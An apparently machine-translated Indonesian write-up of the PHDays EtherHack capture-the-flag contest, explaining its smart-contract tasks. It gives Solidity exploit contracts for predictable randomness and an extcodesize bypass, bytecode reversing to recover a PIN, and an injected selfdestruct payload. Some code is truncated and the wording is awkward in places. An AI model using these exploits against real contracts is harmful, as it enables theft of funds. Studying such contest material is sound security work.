
Tahun ini, PHDays menjadi tuan rumah kompetisi yang disebut
EtherHack untuk pertama kalinya. Peserta mencari kerentanan dalam kontrak pintar untuk kecepatan. Dalam artikel ini kami akan memberi tahu Anda tentang tugas-tugas kompetisi dan kemungkinan cara untuk menyelesaikannya.
Azino 777
Menangkan lotre dan memecahkan pot!
Tiga tugas pertama terkait dengan kesalahan dalam pembuatan nomor pseudorandom, yang baru-baru ini kita bicarakan:
Memprediksi angka acak dalam kontrak pintar Ethereum . Tugas pertama didasarkan pada generator nomor pseudorandom (PRNG), yang menggunakan hash dari blok terakhir sebagai sumber entropi untuk menghasilkan angka acak:
pragma solidity ^0.4.16; contract Azino777 { function spin(uint256 bet) public payable { require(msg.value >= 0.01 ether); uint256 num = rand(100); if(num == bet) { msg.sender.transfer(this.balance); } }
Karena hasil dari memanggil fungsi
block.blockhash(block.number-1)
akan sama untuk setiap transaksi dalam blok yang sama, serangan dapat menggunakan kontrak exploit dengan fungsi
rand()
sama untuk memanggil kontrak target melalui pesan internal:
function WeakRandomAttack(address _target) public payable { target = Azino777(_target); } function attack() public { uint256 num = rand(100); target.spin.value(0.01 ether)(num); }
Ryan pribadi
Kami telah menambahkan nilai awal pribadi yang tidak akan pernah dihitung oleh siapa pun.
Tugas ini adalah versi yang sedikit rumit dari yang sebelumnya. Variabel seed, yang dianggap pribadi, digunakan untuk mengimbangi nomor urut blok (block.number) sehingga hash blok tidak bergantung pada blok sebelumnya. Setelah setiap taruhan, seed ditulis ulang ke offset βacakβ baru. Sebagai contoh, dalam lotre
Slotthereum itu hanya itu.
contract PrivateRyan { uint private seed = 1; function PrivateRyan() { seed = rand(256); } function spin(uint256 bet) public payable { require(msg.value >= 0.01 ether); uint256 num = rand(100); seed = rand(256); if(num == bet) { msg.sender.transfer(this.balance); } } }
Seperti pada tugas sebelumnya, peretas hanya perlu menyalin fungsi
rand()
ke dalam exploit kontrak, tetapi dalam kasus ini nilai seed variabel pribadi harus diperoleh di luar blockchain dan kemudian dikirim ke exploit sebagai argumen. Untuk melakukan ini, Anda bisa menggunakan metode
web3.eth.getStorageAt () dari perpustakaan web3:
Membaca toko kontrak di luar blockchain untuk mendapatkan nilai awalSetelah menerima nilai awal, tetap hanya mengirimnya ke exploit, yang hampir identik dengan yang ada di tugas pertama:
contract PrivateRyanAttack { PrivateRyan target; uint private seed; function PrivateRyanAttack(address _target, uint _seed) public payable { target = PrivateRyan(_target); seed = _seed; } function attack() public { uint256 num = rand(100); target.spin.value(0.01 ether)(num); } }
Roda keberuntungan
Lotre ini menggunakan hash dari blok selanjutnya. Coba hitung!
Dalam tugas ini, perlu untuk mengetahui hash dari blok yang nomornya disimpan dalam struktur Game setelah taruhan ditempatkan. Hash ini kemudian diekstraksi untuk menghasilkan angka acak setelah taruhan berikutnya dibuat.
Pragma solidity ^0.4.16; contract WheelOfFortune { Game[] public games; struct Game { address player; uint id; uint bet; uint blockNumber; } function spin(uint256 _bet) public payable { require(msg.value >= 0.01 ether); uint gameId = games.length; games.length++; games[gameId].id = gameId; games[gameId].player = msg.sender; games[gameId].bet = _bet; games[gameId].blockNumber = block.number; if (gameId > 0) { uint lastGameId = gameId - 1; uint num = rand(block.blockhash(games[lastGameId].blockNumber), 100); if(num == games[lastGameId].bet) { games[lastGameId].player.transfer(this.balance); } } } function rand(bytes32 hash, uint max) pure private returns (uint256 result){ return uint256(keccak256(hash)) % max; } function() public payable {} }
Dalam hal ini, ada dua solusi yang mungkin.
- Panggil kontrak target dua kali melalui kontrak eksploitasi. Hasil dari memanggil fungsi block.blockhash (block.number) akan selalu nol.
- Tunggu 256 blok untuk masuk dan melakukan taruhan kedua. Hash nomor urutan blok yang disimpan akan menjadi nol karena keterbatasan Ethereum Virtual Machine (EVM) pada jumlah hash blok yang tersedia.
Dalam kedua kasus, taruhan yang menang adalah
uint256(keccak256(bytes32(0))) % 100
atau β47β.
Panggil aku mungkin
Kontrak ini tidak suka ketika kontrak lain menyebutnya.
Salah satu cara untuk melindungi kontrak agar tidak dipanggil oleh kontrak lain adalah dengan menggunakan instruksi assembler EVM
extcodesize
, yang mengembalikan ukuran kontrak di alamatnya. Metode ini adalah dengan menggunakan instruksi ini untuk alamat pengirim transaksi menggunakan penyisipan assembler. Jika hasilnya lebih besar dari nol, maka pengirim transaksi adalah kontrak, karena alamat biasa di Ethereum tidak memiliki kode. Justru pendekatan inilah yang digunakan dalam tugas ini untuk mencegah kontrak lain memanggil kontrak.
contract CallMeMaybe { modifier CallMeMaybe() { uint32 size; address _addr = msg.sender; assembly { size := extcodesize(_addr) } if (size > 0) { revert(); } _; } function HereIsMyNumber() CallMeMaybe { if(tx.origin == msg.sender) { revert(); } else { msg.sender.transfer(this.balance); } } function() payable {} }
tx.origin
transaksi
tx.origin
menunjuk ke pencipta asli transaksi, dan mengirim pesan ke pemanggil terakhir. Jika kami mengirim transaksi dari alamat yang biasa, variabel-variabel ini akan sama, dan kami akan berakhir dengan
revert()
. Oleh karena itu, untuk menyelesaikan masalah kami, perlu untuk mem-bypass verifikasi dari instruksi
extcodesize
sehingga
tx.origin
dan
msg.sender
berbeda. Untungnya, ada satu fitur bagus di EVM yang dapat membantu:

Memang, ketika kontrak yang baru saja ditempatkan memanggil beberapa kontrak lain dalam konstruktor, itu sendiri belum ada di blockchain, ia bertindak secara eksklusif sebagai dompet. Dengan demikian, kode tidak terikat pada kontrak baru dan extcodesize akan mengembalikan nol:
contract CallMeMaybeAttack { function CallMeMaybeAttack(CallMeMaybe _target) payable { _target.HereIsMyNumber(); } function() payable {} }
Kuncinya
Anehnya, kastil ditutup. Cobalah untuk mengambil kode pin melalui fungsi buka kunci (kode byte bytes4). Setiap upaya untuk membuka kunci akan dikenakan biaya 0,5 eter.
Dalam tugas ini, para peserta tidak diberi kode - mereka harus mengembalikan logika kontrak dengan bytecode-nya. Salah satu opsi adalah menggunakan Radare2, platform yang digunakan untuk
membongkar dan
men -
debug EVM .
Untuk memulai, kami akan memposting contoh tugas dan memasukkan kode secara acak:
await contract.unlock("1337", {value: 500000000000000000}) βfalse
Upaya itu tentu saja baik, tetapi tidak berhasil. Sekarang coba debug transaksi ini.
r2 -a evm -D evm "evm://localhost:8545@0xf7dd5ca9d18091d17950b5ecad5997eacae0a7b9cff45fba46c4d302cf6c17b7"
Dalam hal ini, kami menginstruksikan Radare2 untuk menggunakan arsitektur evm. Alat ini kemudian menghubungkan ke node Ethereum dan mengambil jejak transaksi ini di mesin virtual. Dan sekarang, akhirnya, kami siap untuk menyelam ke bytecode EVM.
Pertama-tama, Anda perlu melakukan analisis:
[0x00000000]> aa [x] Analyze all flags starting with sym. and entry0 (aa)
Selanjutnya, kami membongkar 1000 instruksi pertama (ini harus cukup untuk menutupi seluruh kontrak) menggunakan perintah pd 1000, dan beralih untuk melihat grafik dengan perintah VV.
Dalam kode byte EVM yang dikompilasi dengan
solc
, biasanya manajer fungsi datang terlebih dahulu. Berdasarkan empat byte pertama dari data panggilan yang berisi tanda tangan fungsi, yang didefinisikan sebagai
bytes4(sha3(function_name(params)))
, manajer fungsi memutuskan fungsi mana yang dipanggil. Kami tertarik pada fungsi
unlock(bytes4)
, yang sesuai dengan
0x75a4e3a0
.
Mengikuti aliran eksekusi menggunakan kunci s, kita sampai ke node yang membandingkan
callvalue
nilai
0x6f05b59d3b20000
dengan nilai
0x6f05b59d3b20000
atau
500000000000000000
, yang setara dengan 0,5 eter:
push8 0x6f05b59d3b20000 callvalue lt
Jika eter yang disediakan sudah cukup, maka kita mendapati diri kita berada dalam sebuah simpul yang menyerupai struktur kontrol:
push1 0x4 dup4 push1 0xff and lt iszero push2 0x1a4 jumpi
Kode menempatkan nilai 0x4 di bagian atas tumpukan, memeriksa batas atas (nilai tidak boleh melebihi 0xff) dan membandingkannya dengan beberapa nilai yang diduplikasi dari elemen keempat tumpukan (dup4).
Menggulir ke bagian paling bawah grafik, kita melihat bahwa elemen keempat ini pada dasarnya adalah iterator, dan struktur kontrol ini adalah loop yang sesuai dengan
for(var i=0; i<4; i++):
push1 0x1 add swap4
Jika kita menganggap tubuh loop, menjadi jelas bahwa ia menyebutkan empat byte yang masuk dan melakukan beberapa operasi dengan masing-masing byte. Pertama, loop memeriksa bahwa byte ke-n lebih besar dari 0x30:
push1 0x30 dup3 lt iszero
dan juga bahwa nilai ini kurang dari 0x39:
push1 0x39 dup3 gt iszero
yang pada dasarnya merupakan pemeriksaan bahwa byte yang diberikan berada dalam kisaran dari 0 hingga 9. Jika pemeriksaan berhasil, maka kami berada di blok kode yang paling penting:

Mari kita hancurkan blok ini menjadi beberapa bagian:
1. Elemen ketiga dalam stack adalah kode ASCII dari byte ke-n dari kode pin. 0x30 (kode ASCII untuk nol) didorong ke tumpukan dan kemudian dikurangi dari kode byte ini:
push1 0x30 dup3 sub
Yaitu,
pincode[i] - 48
, dan pada dasarnya kami mendapatkan angka dari kode ASCII, sebut saja d.
2. 0x4 ditambahkan ke stack dan digunakan sebagai eksponen untuk elemen kedua di stack, d:
swap1 pop push1 0x4 dup2 exp
Yaitu,
d ** 4
.
3. Elemen kelima dari stack diambil dan hasil eksponensial ditambahkan padanya. Sebut jumlah ini S:
dup5 add swap4 pop dup1
Yaitu,
S += d ** 4
.
4. 0xa (kode ASCII untuk 10) didorong ke stack dan digunakan sebagai pengali untuk elemen ketujuh stack (yang merupakan keenam sebelum penambahan ini). Kita tidak tahu apa itu, oleh karena itu kita akan memanggil elemen ini U. Kemudian d ditambahkan ke hasil perkalian:
push1 0xa dup7 mul add swap5 pop
Yaitu:
U = U * 10 + d
atau, lebih sederhana, ungkapan ini memulihkan seluruh kode pin sebagai angka dari masing-masing byte
([0x1, 0x3, 0x3, 0x7] β 1337)
.
Hal paling sulit yang kami lakukan, sekarang mari kita beralih ke kode setelah loop.
dup5 dup5 eq
Jika elemen kelima dan keenam pada stack sama, maka aliran eksekusi akan membawa kita ke instruksi sstore, yang menetapkan bendera tertentu di toko kontrak. Karena ini adalah satu-satunya instruksi toko, inilah yang tampaknya kami cari.
Tapi bagaimana cara melewati tes ini? Seperti yang sudah kita ketahui, elemen kelima pada stack adalah S, dan keenam adalah U. Karena S adalah jumlah dari semua digit kode pin yang dinaikkan ke kekuatan keempat, kita memerlukan kode pin yang syarat ini akan dipenuhi. Dalam kasus kami, analisis menunjukkan bahwa
1**4 + 3**4 + 3**4 + 7**4
tidak sama dengan 1337, dan kami tidak mendapatkan instruksi
sstore
menang.
Tetapi sekarang kita dapat menghitung angka yang memenuhi kondisi persamaan ini. Hanya ada tiga angka yang dapat ditulis sebagai jumlah digit tingkat keempat mereka: 1634, 8208, dan 9474. Setiap dari mereka dapat membuka kunci!
Kapal bajak laut
Hai Salag! Sebuah kapal bajak laut ditambatkan di pelabuhan. Buat dia jangkar dan angkat bendera dengan Jolly Roger dan pergi mencari harta karun.
Kursus standar pelaksanaan kontrak mencakup tiga tindakan:
- Panggilan ke fungsi
dropAnchor()
dengan nomor blok yang harus lebih dari 100.000 blok lebih besar dari yang sekarang. Fungsi secara dinamis membuat kontrak, yang merupakan "jangkar", yang dapat "diangkat" menggunakan selfdestruct()
setelah blok yang ditentukan. - Panggilan ke fungsi
pullAnchor()
, yang menginisiasi selfdestruct()
jika waktu yang cukup telah berlalu (banyak waktu!). - Sebut sailAway (), yang menetapkan
blackJackIsHauled
menjadi true jika tidak ada kontrak anchor.
pragma solidity ^0.4.19; contract PirateShip { address public anchor = 0x0; bool public blackJackIsHauled = false; function sailAway() public { require(anchor != 0x0); address a = anchor; uint size = 0; assembly { size := extcodesize(a) } if(size > 0) { revert();
Kerentanannya sangat jelas: kami memiliki injeksi langsung instruksi assembler ketika membuat kontrak di fungsi
dropAnchor()
. Tetapi kesulitan utama adalah membuat muatan yang memungkinkan kami melewati
block.number
.
block.number
.
Di EVM, Anda dapat membuat kontrak menggunakan pernyataan create. Argumennya adalah nilai, offset input, dan ukuran input. nilai adalah bytecode yang menjadi tuan rumah kontrak itu sendiri (kode inisialisasi). Dalam kasus kami, kode inisialisasi + kode kontrak ditempatkan di uint256 (terima kasih kepada tim
GasToken untuk idenya):
0x6a63004141414310585733ff600052600b6015f3
di mana byte dalam huruf tebal adalah kode dari kontrak yang di-host, dan 414141 adalah situs injeksi. Karena kita dihadapkan pada tugas untuk menyingkirkan operator pelemparan, kita perlu memasukkan kontrak baru kita dan menulis ulang bagian akhir dari kode inisialisasi. Mari kita coba menyuntikkan kontrak dengan instruksi 0xff, yang akan mengarah pada penghapusan tanpa syarat kontrak anchor menggunakan
selfdestruct()
:
68 414141ff3f3f3f3f3f ;; kontrak push9
60 00 ;; push1 0
52 ;; mstore
60 09 ;; push1 9
60 17 ;; push1 17
f3 ;; kembali
Jika kita mengonversi urutan byte ke
uint256 (9081882833248973872855737642440582850680819)
dan menggunakannya sebagai argumen ke fungsi
dropAnchor()
, kita mendapatkan nilai berikut untuk variabel kode (bytecode in bold adalah payload kami):
0x630068414141ff3f3f3f3f3f60005260096017f34310585733ff
Setelah variabel kode menjadi bagian dari variabel initcode, kami mendapatkan nilai berikut:
0x68414141ff3f3f3f3f3f60005260096017f34310585733ff600052600b6015f3
Sekarang byte tinggi
0x6300
hilang, dan sisa bytecode dibuang setelah
0xf3 (return)
.

Akibatnya, kontrak baru dengan logika yang diubah dibuat:
41 ;; coinbase
41 ;; coinbase
41 ;; coinbase
ff ;; merusak diri sendiri
3f ;; sampah
3f ;; sampah
3f ;; sampah
3f ;; sampah
3f ;; sampah
Jika sekarang kita memanggil fungsi pullAnchor (), kontrak ini akan segera dimusnahkan, karena kami tidak lagi memiliki tanda centang pada blok. Setelah itu kita memanggil fungsi sailAway () dan merayakan kemenangan!
Hasil
- Tempat pertama dan siaran dalam jumlah yang setara dengan 1.000 dolar AS: Alexey Pertsev (p4lex)
- Tempat kedua dan Buku Besar Nano S: Alexey Markov
- Suvenir tempat ketiga dan PHDays: Alexander Vlasov
Semua hasil:
etherhack.positive.com/#/scoreboard
Selamat kepada para pemenang dan terima kasih kepada semua peserta!
PS Terima kasih kepada
Zeppelin karena
membuat kode sumber platform open source
Ethernaut CTF .